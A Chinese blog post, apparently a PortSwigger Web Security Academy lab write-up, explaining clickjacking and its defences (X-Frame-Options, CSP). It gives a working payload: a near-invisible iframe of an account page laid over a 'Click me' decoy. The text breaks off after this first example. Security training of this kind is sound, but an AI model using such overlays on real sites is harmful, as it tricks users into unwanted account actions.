PortSwigger 点击劫持（Clickjacking）

最新推荐文章于 2024-01-27 17:19:22 发布

原创

最新推荐文章于 2024-01-27 17:19:22 发布 · 955 阅读

2 ·

CC 4.0 BY-SA版权

文章标签：

#安全 #网络 #web安全

点击劫持是一种利用透明图层技术的网络攻击，用户看似点击正常内容，实则触发恶意操作。攻击手段包括CSRF令牌、URL参数预填充、帧破坏和DOMXSS。防御方法有设置X-Frame-Options和实施内容安全策略（CSP）。

一、什么是点击劫持

点击劫持（Clickjacking）是一种利用Web页面层叠的透明图层技术的攻击方式。攻击者将有害的网站内容覆盖在一个看似无害的页面上，当用户点击看似无害页面时，实际上是触发了隐藏在下层的有害操作，如下载恶意软件、操纵用户账户等。

这种攻击方式通常被用于社交工程攻击、网络钓鱼以及其他种类的诈骗活动中。点击劫持攻击往往难以被用户察觉，因为用户认为他们点击了无害页面上的链接，而实际上却做了完全不同的事情。

二、利用方式

1、使用 CSRF 令牌保护的基本点击劫持

<style>
    iframe {
        position:relative;
        width:500px;
        height: 700px;
        #透明度
        opacity: 0.001;
        z-index: 2;
    }
    div {
        position:absolute;
        top:500px ;
        left: 59px;
        z-index: 1;
    }
</style>
#构造页面
<div>Click me</div>
#攻击页面
<iframe src="https://0a75006703037302c2f28a29008e001f.web-security-academy.net/my-account"></iframe>